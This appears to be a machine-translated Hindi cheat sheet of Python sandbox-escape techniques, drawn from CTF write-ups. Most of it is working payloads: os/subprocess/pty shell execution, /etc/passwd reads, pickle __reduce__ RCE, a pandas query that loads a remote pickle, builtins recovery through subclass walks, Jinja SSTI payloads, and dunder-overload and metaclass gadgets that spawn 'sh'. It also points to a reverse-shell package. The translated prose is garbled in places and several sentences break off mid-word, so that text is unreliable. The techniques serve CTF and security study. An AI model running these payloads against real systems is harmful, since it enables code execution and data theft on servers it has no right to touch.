ये कुछ ट्रिक्स हैं जो पायथन सैंडबॉक्स सुरक्षा को बाइपास करने और विचारशील कमांड्स को निष्पादित करने के लिए हैं।
कमांड निष्पादन पुस्तकालयें
पहली चीज जो आपको जाननी चाहिए वह है कि क्या आप किसी पहले से आयातित पुस्तकालय के साथ सीधे कोड निष्पादित कर सकते हैं, या क्या आप इन पुस्तकालयों में से कोई भी आयात कर सकते हैं:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
ध्यान दें कि open और read फ़ंक्शन पायथन सैंडबॉक्स के अंदर फ़ाइलें पढ़ने के लिए उपयोगी हो सकते हैं और कुछ कोड लिखने के लिए जिसे आप बाईपास कर सकते हैं।
Python2 input() फ़ंक्शन को कार्यान्वित करने से पहले पाइथन कोड को चलाने की अनुमति देता है जब प्रोग्राम क्रैश होता है।
पाइथन वर्तमान निर्देशिका से पुस्तकालयों को लोड करने का प्रयास करता है (निम्नलिखित कमांड प्रिंट करेगा कि पाइथन मॉड्यूल कहां से लोड कर रहा है): python3 -c 'import sys; print(sys.path)'
डिफ़ॉल्ट स्थापित पाइथन पैकेज के साथ पिकल सैंडबॉक्स को बाईपास करें
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
आप रिवर्स शैल बनाने के लिए पैकेज यहाँ से डाउनलोड कर सकते हैं। कृपया ध्यान दें कि इसका उपयोग करने से पहले आपको इसे डीकंप्रेस करना होगा, setup.py बदलना होगा, और रिवर्स शैल के लिए अपना आईपी डालना होगा:
यह पैकेज रिवर्स कहलाता है। हालांकि, इसे विशेष रूप से तैयार किया गया था ताकि जब आप रिवर्स शैल से बाहर निकलें तो इंस्टॉलेशन का बाकी हिस्सा विफल हो जाए, इसलिए जब आप चले जाएं तो सर्वर पर कोई अतिरिक्त पायथन पैकेज इंस्टॉल नहीं छोड़ेंगे।
पायथन कोड का मूल्यांकन करना
ध्यान दें कि exec बहुलक तंतुओं और ";" की अनुमति देता है, लेकिन eval नहीं (वाल्रस ऑपरेटर की जांच करें)
यदि कुछ विशेष वर्णों की प्रतिबंधित है तो आप रोक को उलटवाया करने के लिए हेक्स/ऑक्टल/B64 प्रतिनिधित्व का उपयोग कर सकते हैं:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
अन्य पुस्तकालय जो पायथन कोड का मूल्यांकन करने की अनुमति देती हैं
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
ऑपरेटर्स और छोटे ट्रिक्स
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
संरक्षणों को एन्कोडिंग (UTF-7) के माध्यम से दाखिल करना
इस लेख में UFT-7 का उपयोग किया गया है ताकि एक प्रतिकृति सैंडबॉक्स के अंदर अर्बिट्रे पायथन कोड लोड और क्रियात्मक कर सकें:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE ऑब्जेक्ट बनाना और ओवरलोडिंग
यदि आप एक क्लास घोषित कर सकते हैं और उस क्लास का एक ऑब्जेक्ट बना सकते हैं तो आप विभिन्न मेथड्स को लिख सकते हैं/ओवरराइट कर सकते हैं जो सीधे नहीं कॉल किए जाने पर भी ट्रिगर हो सकते हैं।
कस्टम क्लास के साथ RCE
आप कुछ क्लास मेथड्स को संशोधित कर सकते हैं (मौजूदा क्लास मेथड्स को ओवरराइट करके या एक नया क्लास बनाकर) ताकि जब ट्रिगर हो, तो वे विचारशील कोड को निष्पादित करें बिना उन्हें सीधे कॉल किए जाने की आवश्यकता न हो।
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
मेटाक्लासेस की मुख्य बात यह है कि यह हमें यह करने की अनुमति देते हैं कि हम किसी क्लास का एक इंस्टेंस बना सकते हैं, सीधे कॉन्स्ट्रक्टर को कॉल किए बिना, एक नए क्लास को बनाकर जिसमें लक्षित क्लास मेटाक्लास के रूप में हो।
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
अपशिष्टों के साथ वस्तुओं का निर्माण
जब एक अपशिष्टट्रिगर होता है, तो आपको सीधे कंस्ट्रक्टर को कॉल करने की आवश्यकता नहीं है (एक ट्रिक @_nag0mez से):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
अधिक RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
बिल्टइंस मदद और लाइसेंस के साथ फ़ाइल पढ़ें
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
यदि आप __builtins__ ऑब्जेक्ट तक पहुंच सकते हैं तो आप पुस्तकालय आयात कर सकते हैं (ध्यान दें कि आप यहाँ अन्य स्ट्रिंग प्रतिनिधित्व का उपयोग भी कर सकते हैं जो पिछले खंड में दिखाया गया है):
जब आपके पास __builtins__ नहीं होता है तो आप कुछ भी इम्पोर्ट नहीं कर पाएंगे ना ही फाइलें पढ़ या लिख सकेंगे क्योंकि सभी ग्लोबल फंक्शन (जैसे open, import, print...) लोड नहीं होते हैं।
हालांकि, डिफ़ॉल्ट रूप से पाइथन में कई मॉड्यूल मेमोरी में इम्पोर्ट होते हैं। ये मॉड्यूल अहर्ताक लग सकते हैं, लेकिन इनमें से कुछ खतरनाक कार्यक्षमताएं भी हो सकती हैं जिनका उपयोग करके अर्बिट्रेरी कोड एक्जीक्यूशन भी प्राप्त किया जा सकता है।
निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे इन "अहर्ताक" मॉड्यूलों का दुरुपयोग किया जा सकता है जो मेमोरी में लोड होते हैं ताकि उनमें मौजूद खतरनाककार्यक्षमताएं तक पहुंचा जा सके।
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
नीचे एक बड़ा फ़ंक्शन है जिसका उपयोग करके आप हजारों स्थानों पर builtins को खोज सकते हैं।
Python2 और Python3
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
बिल्टइंस पेलोड्स
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
ग्लोबल्स और लोकल्स
globals और locals की जाँच करना एक अच्छा तरीका है ताकि आप जान सकें कि आप किसे एक्सेस कर सकते हैं।
यहाँ मैं आपको आसानी से अधिक खतरनाक कार्यक्षमताएँ खोजने और अधिक विश्वसनीय उत्पीड़न प्रस्तावित करने के बारे में बताना चाहता हूँ।
बाइपास के साथ सबक्लासेस तक पहुंचना
इस तकनीक का सबसे संवेदनशील हिस्सा मूल सबक्लासेस तक पहुंचने की क्षमता है। पिछले उदाहरणों में इसे ''.__class__.__base__.__subclasses__() का उपयोग करके किया गया था, लेकिन यहाँ अन्य संभावित तरीके हैं:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
खतरनाक पुस्तकालयों को ढूंढना
उदाहरण के लिए, पुस्तकालय sys के साथ यह संभव है कि विविध पुस्तकालयों को आयात किया जा सके, आप उन सभी मॉड्यूल्स की खोज कर सकते हैं जिन्होंने अपने अंदर sys को आयात किया है:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
हम उसी चीज को अन्य लाइब्रेरी के साथ कर सकते हैं जिन्हें हम जानते हैं कि वे कमांड्स को निष्पादित करने के लिए उपयोग किया जा सकता है:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
इसके अतिरिक्त, हम यह भी खोज सकते हैं कि कौन से मॉड्यूल दुष्ट पुस्तकालयों को लोड कर रहे हैं:
इसके अतिरिक्त, यदि आपको लगता है कि अन्य पुस्तकालयें किसी कमांड को निष्पादित करने के लिए फ़ंक्शन को आमंत्रित कर सकती हैं, तो हम भी संभावित पुस्तकालयों में फ़ंक्शन नामों से फ़िल्टर कर सकते हैं:
यह सिर्फ शानदार है। अगर आप ऑब्जेक्ट जैसे globals, builtins, open या कुछ भी ढूंढ रहे हैं तो बस इस स्क्रिप्ट का उपयोग करें ताकि आप **उस ऑब्ज
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
आप इस स्क्रिप्ट का आउटपुट इस पेज पर चेक कर सकते हैं:
अगर आप python को एक स्ट्रिंग भेजते हैं जो फॉर्मेट किया जाएगा, तो आप {} का उपयोग करके python आंतरिक जानकारी तक पहुँच सकते हैं। आप पिछले उदाहरणों का उपयोग करके ग्लोबल या बिल्टिन्स तक पहुँच सकते हैं।
हालांकि, एक सीमा है, आप केवल चिह्न .[] का उपयोग कर सकते हैं, इसलिए आप कोई भी अथार्टी कोड नहीं चला सकते, केवल जानकारी पढ़ सकते हैं।
अगर आप इस जोखिम के माध्यम से कोड चलाने का तरीका जानते हैं, तो कृपया मुझसे संपर्क करें।
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
नोट करें कि आप एक्सेस एट्रिब्यूट्स को एक डॉट की तरह सामान्य तरीके से एक्सेस कर सकते हैं जैसे people_obj.__init__ और डिक्शनरी एलिमेंट को पैरेंथेसिस के साथ बिना कोट्स के __globals__[CONFIG]
इसके अलावा, आप .__dict__ का उपयोग कर सकते हैं एक ऑब्जेक्ट के तत्वों को गणना करने के लिए get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
कुछ और दिलचस्प विशेषताएं फॉर्मेट स्ट्रिंग्स से हैं कि फंक्शन्सstr, repr और ascii को एक्सीक्यूट करने की संभावना है निर्दिष्ट ऑब्ज
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
इसके अतिरिक्त, कक्षाओं में नए फॉर्मेटर कोड करना संभव है:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ और func_globals(समान) ग्लोबल environment प्राप्त करता है। उदाहरण में आप कुछ आयातित मॉड्यूल, कुछ ग्लोबल चर और उनकी घोषित सामग्री देख सकते हैं:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ और func_code: आप फ़ंक्शन के इस गुण का उपयोग करके फ़ंक्शन के कोड ऑब्ज
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
कोड सूचना प्राप्त करना
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
सावधान रहें कि यदि आप पायथन सैंडबॉक्स में dis को आयात नहीं कर सकते हैं तो आप फ़ंक्शन का बाइटकोड प्राप्त कर सकते हैं (get_flag.func_code.co_code) और इसे स्थानीय रूप से डिसएसेम्बल कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री (LOAD_CONST) नहीं देखेंगे लेकिन आप उन्हें (get_flag.func_code.co_consts) से अनुमान लगा सकते हैं क्योंकि LOAD_CONST भी लोड हो रहे वेरिएबल का ऑफसेट बताता है।
अब, चलो सोचें कि किसी तरह से आप उस फ़ंक्शन के बारे में जानकारी डंप कर सकते हैं जिसे आप नहीं चला सकते लेकिन आपको इसे चलाना है।
जैसे निम्नलिखित उदाहरण में, आप **उस फ़ंक्शन के कोड ऑब्ज
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
कोड ऑब्जेक्ट बनाना
सबसे पहले, हमें यह जानने की आवश्यकता है **कि कोड ऑब्ज
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
पायथन संस्करण के आधार पर code_type के पैरामीटर का विभिन्न क्रम हो सकता है। आपके द्वारा चलाए जा रहे पायथन संस्करण में पैरामीटर के क्रम को जानने का सबसे अच्छा तरीका है:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
एक लीक हो गई फ़ंक्शन को पुनः बनाना
निम्नलिखित उदाहरण में, हम फ़ंक्शन को पुनः बनाने के लिए सभी डेटा को लेने जा रहे हैं जो कि फ़ंक्शन कोड ऑब्ज
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
रक्षाओं को उलटा देना
पिछले उदाहरणों में इस पोस्ट की शुरुआत में, आप देख सकते हैं कैसे compile फ़ंक्शन का उपयोग करके किसी भी पायथन कोड को निष्पादित करें। यह दिलचस्प है क्योंकि आप लूप्स और सब कुछ के साथ पूरे स्क्रिप्ट्स को एक लाइनर में निष्पादित कर सकते हैं (और हम exec का उपयोग करके ऐसा ही कर सकते थे)।
